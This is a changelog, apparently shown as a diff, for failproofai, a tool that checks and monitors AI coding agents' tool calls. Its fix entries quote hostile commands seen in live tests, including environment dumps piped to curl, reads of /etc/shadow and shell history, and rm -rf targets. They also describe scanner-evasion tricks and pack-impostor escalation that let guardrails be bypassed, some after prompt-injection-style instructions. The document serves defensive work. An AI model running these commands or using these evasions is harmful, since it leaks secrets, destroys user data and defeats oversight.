-### Features - -- Uploads, `fp` calls and evaluator calls carry a request id; the daemon also sends batch and machine ids, and `fp` errors show a `ref` (#872) - -### Fixes - - -- The daemon logs each failed upload attempt at warning level with its request id and batch id, so every attempt of a batch can be found; before, only the last one was visible (#872) -- Parking a failed batch works when the spool and state directories are on different filesystems (e.g. separate Docker volumes); before, the batch stayed in the spool and was re-sent on every sweep. The move is crash-safe: the original is deleted only after the copy's directory entry is on disk (#872) - -### Docs - -- Troubleshooting, HTTP API and Cloud CLI pages explain the `ref` / `request_id` to quote to support, and where the daemon logs them (#872) - -### Dependencies - -- Python SDK dev lockfile: oauthlib 3.3.1 → 4.0.0 and pyjwt 2.13.0 → 2.15.1, clearing three OSV advisories (#872) -- Pin brace-expansion 5.0.9 → 5.0.12 (package.json override), clearing three OSV advisories (#872) -- Python SDK and `fp` CLI lockfiles: urllib3 2.7.0 → 2.8.0, clearing three OSV advisories (#872) - -## 1.0.9 — 2026-09-29 - -Action needed if you use Jev: its log-only mode is now `observe`, a `jev.json` still set to `shadow` is refused (Jev stays off until `failproofai jev setup` is run again), and Jev's checks now come only from `failproofai policies add FailproofAI/jev-policies`. For Hermes, `failproofai update` moves every profile from the old shell hooks (never run for cron jobs) to the native plugin, and every agent config failproofai edits is written crash-safely with a `.failproofai-backup`. Collects 1.0.9-beta.0 to beta.2 below. - -### Fixes - -- **A planted link at `.failproofai-backup` could redirect the backup into another file.** The previous version is now copied to an exclusively created temp file and renamed over the backup path, so a symlink there is replaced, never followed — for a project-scoped config in a cloned repository, the file it pointed at is untouched. -- **A config that is a dangling symlink is refused instead of replaced.** Writing used to swap the link for a regular file (silently detaching a dotfiles checkout); it now stops with the link and its missing target named. Files failproofai generates and owns (the OpenCode plugin shim, the Hermes link record) replace a planted link rather than writing through it. -- **A same-named Hermes plugin is only replaced when failproofai can prove it is its own.** A link counts as failproofai's when it matches the ownership record written beside it (`plugins/.failproofai-link`) or points into an npm `failproofai` package (links from the 1.0.9 betas are adopted and recorded); a look-alike directory named `hermes-plugin` with a `name: failproofai` manifest is left alone and `config --status` says another plugin occupies the name. -- **One Hermes profile that cannot be inspected no longer stops `update` for the rest.** Each profile is handled on its own, the redundant second read of `config.yaml` is gone, and a failure is that profile's line in the report. Re-enabling a plugin listed in `plugins.disabled` now reads "plugin re-enabled". -- **`failproofai update` exited 1 on a machine whose daemon was already current.** It reinstalled the service on every run, which needs root: interactively it asked for a password for nothing, and with no TTY (a fleet box, CI) it failed with "root privileges are required". When the service is running and `VERSION` records this CLI's version with its binary on disk, it now says the daemon is already current and asks root for nothing. - -### Dependencies - -- Routine dependency bumps: `next` and `eslint-config-next` 16.3.6, `posthog-node` 5.54.1, `vitest` 5.0.2, `jsdom` 30.1.1, `lucide-react` 1.48.0, `@types/node` 26.6.2, `@anthropic-ai/sdk` 0.128.0, the Rust and Python dependency groups, and the `actions/setup-node` 7 and `actions/create-github-app-token` 3 workflow actions (#853–#865). - -## 1.0.9-beta.2 — 2026-09-29 - -### Fixes - -- **A Hermes plugin listed in `plugins.disabled` was reported healthy and skipped by `update`.** Hermes checks `plugins.disabled` before `plugins.enabled`, so a profile listing `failproofai` in both never loads it, but health, installed detection and `update`'s "already current" check only read `plugins.enabled`. They now require enabled and not disabled: `config --status` says "plugin disabled (listed in plugins.disabled)" and `update` removes the disabling entry. - -## 1.0.9-beta.1 — 2026-09-29 - -### Fixes - -- **`jev status` and the dashboard under-counted a machine with only `FailproofAI/jev-policies`.** Their coverage survey still retired the `enabledPolicies` shim when any pack was installed, while hooks keep enforcing those builtins until a pack with regex policies arrives. The survey now uses the same `hasInstalledRegexPacks` check, so it counts what is really enforced and reviewable. -- **Old Jev activity rows no longer inflate "cleared".** A row whose mode this build does not know (written as `shadow` before the rename) lost only its mode, so `jev status` and the dashboard counted its would-have clears as enforced clears. Such a row now drops its clears too. -- The Hermes plugin's package path is found by walking up to the directory that holds `hermes-plugin/plugin.yaml` when `FAILPROOFAI_PACKAGE_ROOT` is unset, instead of a fixed three parents that overshoot from the bundled `dist/cli.mjs`. On Windows, replacing an existing plugin junction falls back to the move-aside swap when a direct rename fails. -- **Agent configs are written crash-safely and never rewritten from a file that does not parse.** Every integration wrote the user's agent config (`~/.hermes/config.yaml`, `~/.claude/settings.json`, `~/.openclaw/openclaw.json`, …) in place, so an interruption mid-write left a truncated config and an agent that would not start; and an existing Hermes/YAML config that did not parse was read as empty, so the next install would have replaced every other setting in it. Writes now go to a temp file in the same directory, are fsynced, keep the previous version as `.failproofai-backup`, and are atomically renamed into place, preserving the file's permissions and writing through a symlinked config. A config that exists but cannot be read or parsed is refused with the file and the reason, left byte-for-byte, and reported by `config --status`. The collector also stops shipping clears from rows whose Jev mode it does not know. - -## 1.0.9-beta.0 — 2026-09-29 - -### Features - -- Jev's log-only mode is now **`observe`**, the word already used for a policy rollout that is evaluated but not enforced; Jev's modes are `off`, `observe` and `enforce`. `failproofai jev setup --mode observe`, the dashboard's Jev settings, `jev status`, `config --token` (which now turns Jev on in observe mode) and the docs all say observe; `jev.json` takes `mode: "observe"`, hook-activity rows carry `jevMode: "observe"`, `verdicts.jsonl` carries `applied: "observe"`, and `jev status --json` stats report `observeClearsByPolicy` and `modes.observe`. The collector ships `jev_mode: "observe"` to FailproofAI Cloud. The dashboard's Jev pill reads "jev observe". - -### Fixes - -- **Hermes cron jobs ran unchecked after an upgrade.** Legacy Hermes shell hooks (≤1.0.5) are never run for cron jobs — each cron fire builds its own hook scope that only discovered plugins join — and `failproofai update` never touched Hermes, so upgraded machines stayed on them silently. `update` now moves every Hermes profile that already uses FailproofAI (shell hooks or a copied plugin) to the native plugin, prints a per-profile report, and leaves profiles without FailproofAI alone. When the running daemon cannot serve the plugin (no `policyEvaluation`, e.g. a sudo system daemon `update` could not replace) the shell hooks are kept and `update` exits 1 pointing at `failproofai config`; it also exits 1 whenever the daemon swap or a layout migration failed. The plugin is now **linked** into each profile (`plugins/failproofai` → the package's `hermes-plugin/`, a marked copy where symlinks are unavailable), so npm upgrades apply with no reinstall; uninstall removes only the link. `failproofai config --status` reports a profile still on shell hooks as unhealthy: "Hermes cron jobs are not checked". -- **The npm package no longer ships Jev's checks; a machine asks them only after `failproofai policies add FailproofAI/jev-policies`.** The sixteen semantic checks were compiled in and used whenever no installed pack declared any, so configuring Jev — BYOK, or `failproofai config --token` with a Cloud machine key — started asking them without anyone opting in. Now the checks, and the names `reviewedBy` may use, come only from installed packs. With none declaring checks Jev is inert whether or not it is configured: no request is sent (not even the injection or task probes), no prompt is recorded for it, and every `reviewable` policy resolves `hard`, so nothing is cleared and hooks answer exactly as on a machine without Jev. An unreadable pack list asks nothing too, rather than falling back to a built-in set. `failproofai jev status` (and its `--json`, as `reviewablePolicies.jevChecks`), the dashboard's Jev settings and `config --token`'s output say "Jev has no checks installed" and name the command. `publish` still reserves the sixteen names and judges a regex-only pack's `reviewedBy` against them. -- **Adding `FailproofAI/jev-policies` could switch off a machine's regex policies.** A machine that enforced built-in policies from `enabledPolicies` (upgraded, no core pack) stopped enforcing them as soon as ANY pack was installed, and `failproofai policies add ` then tried to enable the name on the installed packs instead of fetching `FailproofAI/policies`. Now that Jev's checks arrive only as the Jev-only `FailproofAI/jev-policies` pack, both steps count only packs that carry regex policies (`hasInstalledRegexPacks`). - -### Docs - -- Split Jev documentation into session evaluations under Find failures, live policy review under Prevent failures, and provider/configuration detail under Reference. Add a Use Jev page after Core concepts in Start with eval and policy setup tabs, plus a short quickstart link, dashboard screenshots, and CLI steps. Move sentiment analysis into Find failures and show its Jev-scored dashboard flow. Clarify observe-mode verification and the Cloud machine key's `jev:evaluate` permission. - -### Dependencies - -- Update the pinned `undici` override to 7.29.1 to address GHSA-3wwx-pv8p-q78v found by the lockfile scanner. - -- **Clear the two TypeScript-SDK fixture advisories that have a reachable fix, and reject the Dependabot PR that reached them by moving three pins.** `ai-5`'s own `undici` override was left at `7.29.0` when the root `package.json`'s moved to `7.29.1` above, so GHSA-3wwx-pv8p-q78v stayed open against a lockfile nothing had revisited; and `mastra-0` carried eleven copies of `@ai-sdk/provider-utils`, nine of them exact `3.0.10`–`3.0.17` pins on that fixture's 5.x side, all below the `3.0.28` that fixes GHSA-866g-f22w-33x8. A plain override would have forced the other two copies as well — the `2.2.8` that ships *inside* `ai@4.3.19` — and broken the pinned major, so the entry is spec-scoped (`"@ai-sdk/provider-utils@3"`), which npm applies only where the requested range already resolves inside 3.x: the 3.x copies dedupe to one patched copy and the two `2.2.8` stay exactly where they were. One of them needed a second entry: `@mastra/core@0.24.9` asks for `@ai-sdk/provider-utils` under an **npm alias** (`"@ai-sdk/provider-utils-v5": "npm:@ai-sdk/provider-utils@3.0.12"`), and npm keys `overrides` on the name the dependent requests, so a spec-scoped entry under the real name never reaches it — the alias kept an affected `3.0.12` in the tree until `"@ai-sdk/provider-utils-v5": "npm:@ai-sdk/provider-utils@3.0.28"` was added beside it. The other nine `-v5` aliases in that lockfile are unaffected (`ai-v5` resolves `5.0.60`/`5.0.97`, both above GHSA-rwvc-j5jr-mgvh's `5.0.52` floor). Dependabot's own fix for the same alerts (#867) moved `ai-4` to `ai@5.0.52`, `ai-5` to `ai@7.0.122` and `mastra-0` to `@mastra/core@1.71.0` — the move `SECURITY.md` names as never the answer, and the one #838 rejected for these same fixtures — and then failed to install at all, `@mastra/mcp@0.14.5` peering on `@mastra/core@">=0.20.1-0 <0.25.0-0"`, which took down the `frameworks` and `runtimes` shards whole because the global setup installs every fixture before any test runs. `ai-4` needed no change: both advisories still open against it are the accepted kind, already in `SECURITY.md`'s table with the reason each stays. (#869) - -## 1.0.8-beta.0 — 2026-09-26 - -### Added - -- Add `failproofai jev models` — the question a person asks after `jev test` fails, and the one the customer above answered by curling their endpoint by hand. It reads `GET /models` for the configured route (or for a `--provider` / `--url` given on the line), prints the model ids and marks the one in use, with `--json` alongside. It understands both envelopes providers actually answer in — TypeSafe's `{models:[{name, description, release_date}]}`, which Vercel's typesafe-scoped base and a LiteLLM passthrough also return, and OpenAI's `{data:[{id}]}`, which OpenRouter uses — and says which it got, because only the first describes what `/systemone` accepts: OpenRouter's 458-model catalog contains no Jev entry of any spelling while its `/systemone` works, so an OpenAI-shaped list is shown and never used to refuse anything. A list that cannot be read reports the provider's own reason rather than a status code. The stored key goes only to the origin it was stored for — `--url` takes a URL off the command line, and a key issued for one gateway is not sent to another because a diagnostic named it — and Vercel's and OpenRouter's lists answer without one anyway. Cloudflare says it serves no `/models` (Workers AI lists models through the Cloudflare API) rather than failing to read one. With `--json` every outcome is a JSON object, refusals included (`{ok: false, error: {code, message}}`, codes such as `not-configured` and `no-model-list`), as `jev test --json`'s are. (#833) -- **Jev through FailproofAI Cloud, with no TypeSafe account and no second key.** A key created with the new **machine** preset (`events:add` + `policies:pull` + `jev:evaluate`) is all `failproofai config --token ` needs: it stores the key in a new `jev` slot of `credentials.json` and, only when the machine has no `jev.json`, writes one for the new `failproofai` provider in **shadow** mode, charged to the organization's plan. Never with `--no-transcripts`: Jev sends each checked tool call and the recent prompt to FailproofAI Cloud, more than a decisions-only connection asked to send, so that connection stores the key, writes no `jev.json`, and prints one line saying Jev is available and that `failproofai jev setup --provider failproofai` switches it on. An existing `jev.json` is never overwritten (it is created with a no-clobber link, and the output says it was left as configured — and, on a `--no-transcripts` connection, when that file keeps Jev on through FailproofAI Cloud, one more line says Jev still sends each checked tool call and the recent prompt there and that `failproofai jev setup --mode off` switches it off), and `config --disconnect` removes the Cloud key and deletes `jev.json` only when it names the Cloud and is not switched off — a Cloud file in mode `off` is kept, so reconnecting leaves Jev off. Any other `jev.json` is put back where it was, never over one written meanwhile, on filesystems without hard links too (a no-clobber copy, else a rename while the path is still empty); when it cannot be, disconnect says where it was left and how to move it back, on a machine that was not connected as well. For this provider the key comes only from `credentials.json` — read with `jev.json`'s owner-only file, directory and size checks, so a loose file turns Jev off — never from `jev.json` or `FAILPROOFAI_JEV_API_KEY`, and only ever goes to the origin it was verified against. Requests go to `/enforcement/v1/jev/systemone`; an answer must name Jev 1.13, and every non-200 (402 `out-of-credits`, 401/403/413/422/429/502/503 `http-`, a redirect) falls back to the regex verdict; `jev test` explains a 422 as that call's request being refused (dense text over Jev's token budget), not an outage. `jev status` says "FailproofAI Cloud", the host, the key source, and — when Jev is off for want of a key — whether that is because the machine is not connected ("off — this machine is not connected to FailproofAI Cloud") or is connected with a key that does not carry `jev:evaluate` ("off — this machine's FailproofAI Cloud key does not carry Jev"; `status --json` `key-lacks-jev`, with `cloudConnected` and `keyCarriesJev`); `jev setup --provider failproofai` builds the file from the connection; the dashboard's Jev panel gains an on/off switch, shadow/enforce and a FailproofAI Cloud connection row (org, and whether the key carries Jev), read locally with no network call. (#833) -- `mode: "off"` for every Jev provider: the config — endpoint, and for your own endpoint the key — stays, and Jev is not asked (`failproofai jev setup --mode off`, or the dashboard). An older build reads it as an invalid mode, which is also off. (#833) -- FailproofAI Cloud's policy page can see Jev: a call Jev's own verdict decided is recorded `policySource: "jev"` (it was unattributed), with the pack's `packId` and `packVersion` when the deciding check came from a pack (as a pack's regex verdict carries them), and in shadow mode Jev's deny or warning is added to the row's `observed` list as a would-have (`semantic/`, the Jev model id, the decision and the same reason enforce mode shows). Both ship un-rolled-up. (#833) -- A FailproofAI Cloud Jev key counts only beside the connection it came with: the `jev` slot of `credentials.json` is used only while a policy or reporting credential on the same origin, holding the same key, is in the same file. An older CLI's `config --disconnect` knows nothing of the slot and leaves it (and the Cloud `jev.json`) behind, so downgrading, disconnecting and upgrading again would otherwise switch Jev back on, spending on an org the machine had left; such a machine reads as not connected, and Jev stays off. The key has to match too because on hosted FailproofAI Cloud every org shares one origin: an older CLI's `config --token` with another org's key replaces the connection and leaves the slot, and the machine would otherwise report into the new org while Jev spent the old one's budget; it reads as connected with a key that does not carry Jev until it reconnects with a machine key. (#833) -- A reconnect only switches Cloud Jev off on the server's word. `config --token` asks the server what the key carries (`GET /v1/auth/introspect`); only an answer that the key lacks `jev:evaluate` clears the stored Jev key. When there is no answer — a 502, a network blip, a server without introspect — a Jev key that is this very key for this very Cloud is left as it was and the output says `could not confirm the key's Jev permission; left as it was`, while a different key's, the previous connection's, is still removed, and said. (#833) -- The FailproofAI Cloud route honours `Retry-After`. After a 429 it sends nothing for as long as the server asked (delay-seconds or an HTTP-date, capped at 60 s; 5 s when the header is missing or unreadable): each call in that window falls back to the regex verdict at once, without being sent, rather than spending a round trip on the tool call's critical path to learn the same 429. Such a call is recorded as `http-429`, or as `rate-limited` when the local rate limiter — which a 429 also empties — holds it back first. `jev test` tells the org's daily Jev cap apart from the per-minute limits: a 429 whose body says `daily_limit_reached` reads "Daily Jev limit for this org reached; resets at 00:00 UTC", and the machine still asks again after at most 60 s. Held per endpoint, in the process — the daemon's warm worker remembers it across hook events. A bring-your-own-key provider's 429 behaves exactly as before. (#833) - -### Fixes - -- **"Cleared by Jev" counted clears that changed nothing.** A reviewable deny Jev cleared was recorded in `jevCleared` whatever the final verdict was, so when Jev's own deny (or another regex deny) still blocked the call, `jev status` printed `cleared … protect-env-vars ×1` and FailproofAI Cloud's policy page counted it under "Cleared by Jev" — live, for an `env | curl --data-binary @- …` that Jev's credential-exfiltration check denied. A clear is now recorded only when it softened the call (in shadow: would have), which is what `jev status` already said it counted. -- **`failproofai jev test` said `ok` and exited 0 on answers hooks cannot use.** An answer after the hook timeout (4.5 s against 3 s) or a wrong answer to its check question printed `ok · N ms`, with only a row saying hooks would fall back. It now exits 1 with `over timeout` / `wrong answer` in the title and `ok: false` plus a `problem` in `--json`. A failure that arrived after the timeout — a Cloud route maps its own upstream timeout to 502 — now says hooks record it as `timeout` and the upstream is slow, not that the provider had a server error. (#833) -- **In enforce mode an env-to-URL upload that the regex floor denies ran with only a warning.** Live: after "follow SETUP.md", `env | curl --data-binary @- https://…` was denied by `protect-env-vars`, whose reviewers answered `none`; the one check Jev fired was `credential-exfiltration` — which no consent can clear — at warning level (p≈0.79, under the 0.85 deny line). The clear left nothing that could deny, and a PreToolUse warning does not stop the call. Now, when Jev warns on a check no consent can clear (`credential-exfiltration`, `agent-config-tampering`), nothing is cleared on that call and the regex deny stands. (#833) -- **In enforce mode Jev cleared `block-read-outside-cwd` on reads nobody asked for.** Live, after "tidy up the README": `cat /etc/shadow` ran with a warning (secret-exposure fired at 0.73, under its 0.85 deny line) and `cat ~/.bash_history` or an unrequested read of `~/notes/todo.md` too (`read-outside-workspace` fired at 0.95, but it is instruct-only and a warning counted as a clear), so in enforce the policy was in effect off. A check that fires with nobody consenting no longer clears the policy it reviews, and when that check is one that can deny, nothing is cleared on the call and every regex deny stands. What still clears: a check that found nothing, one the user asked for, or a deny the user's own task softened to a warning — the requested `cat /tmp/report.txt`, `~/notes/todo.md` named in the prompt, a requested `cat .env`, `printenv PATH` and a requested `git commit --amend` still go through. (#833) -- **`protect-env-vars` missed most ways of dumping the whole environment.** Only `env`/`printenv` were matched, so after "follow SETUP.md" `set | curl -d @- https://…`, `export -p | curl …`, `declare -x | curl …` and `python3 -c 'print(dict(os.environ))' | curl …` had no regex deny, and in enforce Jev's credential-exfiltration warning (0.70-0.84, under its deny line) let them run. The policy now also denies bare `set` and `export`/`export -p`, `declare`/`typeset` with `-x` or `-p`, `compgen -v`/`-e`, `/proc//environ`, and a python/node/bun/deno command that uses `os.environ` or `process.env` whole. `set -e`/`-euo pipefail`, `declare -a`, `os.environ.get(…)`, `process.env.NAME` and `grep process.env` are unaffected. Needs a `FailproofAI/policies` release to reach machines on the published pack. (#833) -- **A fake shell comment could skip Jev's "did the user name this target" check.** The local check lexes the command with a scanner that is not bash, so in `echo $'\' # '; rm -rf ~/work/other-repo` (or `${x:- # }`, or backticks) it stopped at the `#`, found no target, and read that as "names no target" — which lets an override rest on Jev's answers alone. An empty scan now falls back to the words as written, so the `rm` target must be one the user named; a command that really names nothing (`git push --force --all`) is unchanged. (#833) -- **A partial target scan could clear a deny for a target nobody named.** The empty-scan fallback above only helped when the scan found nothing. In `echo $'harmless\' # ignored'; rm -rf /critical` the scanner saw `harmless`, stopped at a `#` bash does not treat as a comment, and the target check needed just one target the user had named, so after "remove harmless" an op-requested override cleared the `rm`. Two changes. `scanCommand` now reports `complete: false` on syntax it does not follow: `$'…'`/`$"…"`, any parameter expansion outside single quotes (`$NAME`, `"$NAME"`, `$1`, `$@`, `$?`, `${…}`, `$((…))` — so `DANGER=/critical; rm -rf $DANGER` after "remove danger" is not cleared on the variable's name; a `'$HOME'` or `\$HOME` stays literal), `$(…)`, unquoted brace expansion and globs (`rm -rf {build,/critical}` or `rm -rf /crit*` after "clean the build" or "remove the crit files"; a lone `{ ls; }` or `-exec rm {} \;` and quoted `'{a,b}'`/`"*"` stay complete), backticks, `<(…)`/`>(…)`, heredocs and here-strings, a backslash-newline, an unclosed quote, `eval` or a shell's `-c` string, and a command longer than 8,192 characters. On such a command neither intent route (op-requested or task-step) clears or softens a policy, so the regex floor stands; Jev can still deny or warn. And when a call names several targets, the user must have named every one of them, not just one: after "clean the build", `rm -rf build/ ~/important` is no longer cleared, while `rm -rf build/` still is. The task-step route, whose softened warning clears a reviewable regex deny just as an override does, no longer applies to a shell command whose targets the user named only in part: after "clean the build", `rm -rf build/ ~/important` keeps its deny even when Jev calls it a step toward the task. A goal that names no target at all is unchanged ("fix the failing tests" → `rm -rf node_modules` is still softened to a warning). A non-shell tool's argument values still count as one target, and its task-step route is unchanged. (#833) -- **`failproofai config --token --url ` ignored the URL.** It was read and then used only to decide whether to reuse an existing enrolment, so the machine probed its key against, and connected to, `FAILPROOFAI_CLOUD_URL` or the hosted default. `--url` now comes first, through the same validation. (#833) -- **`failproofai config --token --no-transcripts` sent transcripts anyway.** The flag was parsed and never read — the apply step passed a literal `sessions: true` — so a run that asked for decisions only shipped every prompt, file and command output. It is honoured now, and said when it takes effect, as `--connect` always did. (#833) -- **The Jev tier judged "inside the project" against wherever the agent had last `cd`'d.** `facts.projectRoot` came from the hook payload's live cwd, which Claude Code carries across calls, so a session opened in `~/work` that once ran `cd ~/work/api` had every other file of `~/work` judged outside the project from then on, and `read-outside-workspace` fired on the directory the human opened. The root is now pinned the first time a session is reviewed (`~/.failproofai/state/semantic/roots/.json`, `0600` in a `0700` directory, pruned after a week) and a later `cd` never moves it. It deliberately does not follow the `cd` instead: that would make `cd ~/.ssh` then `cat id_rsa` an inside-the-project read. Relative paths still resolve against the live cwd, the branch is still read from it, and the paired question is still asked whenever the regex partner — which measures from the live cwd — could deny. No session id, an unwritable store, or a store another user can write to all fall back to the old derivation. The regex tier is unchanged. (#833) -- **`failproofai jev` saved an ENDPOINT as a base URL without a word, and then a model that endpoint does not have.** Someone hosting Jev behind a LiteLLM proxy ran `--url https://models.aikin.club/typesafe/v1/models`. It saved; `/systemone` was appended to it, so requests went to `…/v1/models/systemone`, and the only signal was `failed · http-404 … Not Found` from `jev test`. With the URL fixed, which models the proxy names (`jev-latest` and `jev-preview`) took a hand-written curl to discover. Both facts were readable before anything was written, and now are. Setup refuses a URL whose path ends in `/models`, `/chat/completions`, `/completions`, `/embeddings` or `/systemone`, names the base it implies, and does it before the key prompt and before any request, because the repair is one segment of the URL on screen. It then reads `GET /models` and refuses an alias the list does not carry, naming the ones it does. A versioned id such as the calibrated `jev-1.13.0` is never refused on a list: the list names aliases, and that proxy's `/systemone` answers `jev-1.13.0` though it lists only the two. That check can only ever turn a silent misconfiguration into a refusal, never a working setup into a failing one: a list that cannot be read (no key yet, a proxy serving none, Cloudflare, an unreachable host, an unknown shape) and one that does not describe `/systemone` both fall through to the write exactly as before. A base URL already on disk that names an endpoint keeps working, because the loader is unchanged — only setup, and the dashboard's Jev save of a URL typed into it, refuse one. (#833) -- **A 404 from `/systemone` said `Not Found` and nothing else, when it had the one fact that diagnoses it.** `/systemone` is appended by failproofai rather than typed, and every Jev route serves it at the provider's version root: measured 2026-09-25, an unauthenticated POST there answers 403 / 401 / 400 / 401 on TypeSafe, OpenRouter, Vercel and a LiteLLM proxy, and 404 on none of them. So a 404 is near-certain evidence of a wrong base rather than of a provider being down, and the message now names the URL it POSTed to, says the suffix is ours and says which half to check, while `jev test`'s remedy line names the flag to change and `jev models`. The short code stays `http-404`, so the activity store and its Rust twin see no new reason. (#833) -- **TypeSafe's own error envelope was the one shape the error reader did not know, so TypeSafe's explanations never reached a screen.** It answers `{detail: {error_type, message}}` and the reader handled `detail` only as a string, so `Must supply an API key! Check your request and try again.` arrived as the bare words `HTTP 403`. All three envelopes providers actually answer in are now read by one documented function — `{detail:{message}}` (TypeSafe), `{error:{message}}` (OpenRouter, LiteLLM proxies) and a bare `{message}` (Vercel's `400 model: Invalid input: expected string, received undefined`) — alongside Cloudflare's `{errors:[{message}]}` and the string forms. The provider's sentence goes in the message, which nothing parses; the code stays the stable short one, which everything does. The key is scrubbed out of every one of them, as before. (#833) -- **A pack could supply the Jev check that clears ANOTHER pack's policies, by declaring a check of the same name.** Two packs can be installed at once and the union of their semantic names is deliberate — the shipped pairing is the 39 regex policies in `FailproofAI/policies` naming checks that live in `FailproofAI/jev-policies` — but the union was ambiguous: every declared name became a reviewer name, and the resolver kept the first declaration of a duplicated name and dropped the later one. So installing a benign-looking pack whose `production-infra-change` answers "no concern" to everything made it the question that decides the real pack's `block-kubectl`, which is `reviewable` by that name — cleared on every call, from a pack that need not declare a single regex policy. That is privilege escalation by pack installation, and it cannot be fixed by scoping reviewers per pack without breaking the pairing the product ships. A name two packs declare DIFFERENTLY is now honoured for neither of them: it leaves the reviewer set, so the policies naming it resolve to `hard` and the regex deny stands; it is asked for nobody, so the question that survived cannot be the impostor's; and the diagnostic counts it the same way, so `jev status` and the settings panel do not promise a clear that cannot happen. Identical declarations are not a contest — a fork or a re-publish of one pack carries the same question either way, and refusing the name there would switch off clearing on a machine whose packs agree to the byte. One name is refused, never a pack: nothing fails closed over this. (#833) -- **Two packs behind one artifact could make a hard policy reviewable, decided by which one `installed.json` listed first.** Artifacts are content-addressed, so byte-identical packs collapse into one load and their catalogs merge with authority resolving toward hard — but the merge judged every declaration against this build's COMPILED-IN reviewer set, while registration judges it against the checks the machine can actually ask. For a pack that ships both tiers (the shipped pairing: the 39 regex policies name checks that live in a second pack), a `reviewedBy` naming one of those checks is a name the merge had never heard of, so the reviewable entry and its hard peer resolved alike, the first raw declaration was carried forward unchanged, and registration then honoured it. The attack it closes: publish a pack whose source is byte-identical to one already installed and declare `reviewable` on a policy the real pack declares hard — installation order does the rest, and nothing about the machine looks different. The merge now takes the live reviewer set, and a non-reviewable merge emits the RESOLVED authority instead of the declaration it was handed, so no later reader can resolve that declaration upward again. The refusal's reason is not lost: the loader says it where it can name both packs. The same set is now used for the registration-time warning, which had been telling every policy of a both-tiers pack that it stays hard while registering it reviewable. (#833) -- **A credential in a Jev base URL's query string was legal, and the unauthenticated dashboard got it back verbatim.** `validateBaseUrl` permitted any query string — the comment names `?api-version=`, which some proxies route on — so `https://gateway.example/v1?api_key=…` was a valid config, and only the DERIVED endpoint was query-elided on the way out: the settings action returned the whole stored `baseUrl` as the form's value for a loadable file, a keyless one and a refused one alike, on an origin with no authentication and from a response whose documented rule is that the credential never comes back. The attack it closes is reading a live gateway key out of a `GET` that any page on that origin can make. A credential in a base URL is a mistake wherever it ends up — the endpoint is logged, printed by `jev status` and put in error messages — so it is now refused where it is WRITTEN, on the parameter's name (`token`, `key`, `api_key`, `access_token`, `secret`, `password`, `auth`, `signature` and the like, matched with punctuation and case removed) or on a value shaped like a credential, while `?api-version=` and other routing parameters still pass. Eliding it on the way out would have left it in the file, the logs and the CLI. The way out is safe regardless, because an older build may already have written one: every base URL the settings action returns now has its query string removed, whatever it holds, with a flag saying so — and an untouched field posted back keeps a stored query the loader accepts, so the panel cannot silently delete a routing parameter it was never shown. (#833) -- **`jev setup --base-url` and the dashboard saved a provider its URL's host contradicts, which `jev --url` refuses.** `--provider openrouter` on `ai-gateway.vercel.sh`, or `custom` on `api.cloudflare.com`, was refused only when the URL came in as `--url`. The rule is now one shared check, run by all three writers; a file already on disk that pairs them is still loaded, and the dashboard still re-saves it untouched to switch its mode. (#833) -- **`failproofai config --token ` put the key in argv without a word, while every Jev remedy tells people to run it.** `jev setup --token` already warned; `config --token` (and `config --connect … --token`) now ends with the same warning on stderr, connected or not, and names the spelling that keeps the key off the command line: `failproofai config` with the key in `FAILPROOFAI_CLOUD_TOKEN`. (#833) -- **`failproofai publish` never showed the rollback reminder for a pack of Jev checks alone.** A real publish printed none of the build's lines, and `--dry-run` printed only the first four, so with `--min-cli-version` the reminder stopped mid-sentence at a comma and the asset paths were dropped. Both paths now print the whole two-line reminder, and the dry run prints every build line. (#833) -- **`failproofai publish` built a pack declaring a built-in Jev check name without a word.** Installed from anywhere but a FailproofAI repository, that check is void on every machine — never asked, never a reviewer — and only a consumer's `policies add` said so. `publish` (and `pack build`) now refuse the name with the loader's own rule, judged by the repository it publishes to. (#833) -- **`failproofai publish` judged a third-party pack's Jev questions against the whole request budget (27,591 characters), though every machine spends 18,490 of it on the built-in checks first.** Two ~7.7k checks published cleanly and the second was dropped on every install. A pack not published to a FailproofAI repository is now held to what the built-in checks leave, and the refusal says so. (#833) -- **`failproofai publish` accepted a pack of Jev checks with `--min-cli-version 1.0.7` or none at all.** 1.0.7 ignores a pack's checks and 1.0.7-beta.x replaces the built-in checks with them, so such a pack installed on exactly the builds that get it wrong. A pack with checks now needs at least `1.0.8-beta.0`: a lower `--min-cli-version` is refused, and with none `1.0.8-beta.0` is written and printed. (#833) -- **`failproofai policies show` and the interactive `policies add` picker said every pack's Jev checks replace the built-in ones.** Only a FailproofAI pack's do; anyone else's are added to them, as `add` and `publish` already said. All three now share one wording, and `show` warns, as `add` does, about a check this machine would never ask (a reserved or contested name, or one over the question budget). (#833) -- **failproofaid could not send events to, or pull policies from, a FailproofAI Cloud whose certificate comes from a private CA.** Its HTTP clients trusted only the certificates bundled into the binary, so a self-hosted Cloud behind an internal CA or a TLS-inspecting proxy, which the CLI reached through `NODE_EXTRA_CA_CERTS` or the system store, failed every upload with `UnknownIssuer`: batches were parked, the deployment never arrived, and `config` reported the machine connected. The daemon now also trusts the operating system's store (the distro bundle, or `SSL_CERT_FILE` / `SSL_CERT_DIR`, on Linux; the Keychain on macOS); install the CA there (`update-ca-certificates`) and restart it. (#833) -- **Installing an `observe` pack, or one scoped with `--cli`, said its Jev checks were "added to this build's own checks".** An observe pack's checks are never asked, and a scoped pack's only for its agents. The install line, `show`, the picker and `publish --effect observe` now say so, and the contested-name warning is printed once instead of once per claimant. (#833) -- **`failproofai jev status` (and the dashboard's Jev panel) counted a policy as reviewable when its only reviewer was a pack check the question budget drops.** That check is never asked, so the policy can never be cleared. The survey now counts against the questions a request will actually carry — after reserved, contested and over-budget checks are left out. (#833) -- **`failproofai jev status` said Jev "can never clear" a deny while it was clearing convention policies on every call.** The survey counted only configured `customPoliciesPath(s)`, not the project and user `*policies.{js,mjs,ts}` files the hook auto-loads, so it dropped the "(policies from your own files are not counted)" caveat and diagnosed a problem. Convention files now count (each file once), and no "never" is claimed while any of the user's own policy files go uncounted. (#833) -- **A release from any repository could install under a `FailproofAI/…` pack id.** The manifest's id is self-declared, so `acme/forge` installed as `FailproofAI/jev-policies`, its verdicts were labelled FailproofAI's own, and the genuine pack was then refused for an id already taken. `policies add` now refuses a `FailproofAI/` id unless the release comes from a FailproofAI repository; any other id may still differ from its repository. (#833) -- **`failproofai config --connect` ignored `FAILPROOFAI_CLOUD_TOKEN` and asked for a `policies:pull`-only key.** `config --help` says the key can come from that variable, and the rest of the CLI asks for the "machine" preset (which Cloud Jev needs). `--connect` now reads the variable when `--token` is absent, and its hint names the machine preset. On a machine an older failproofai connected, `jev setup 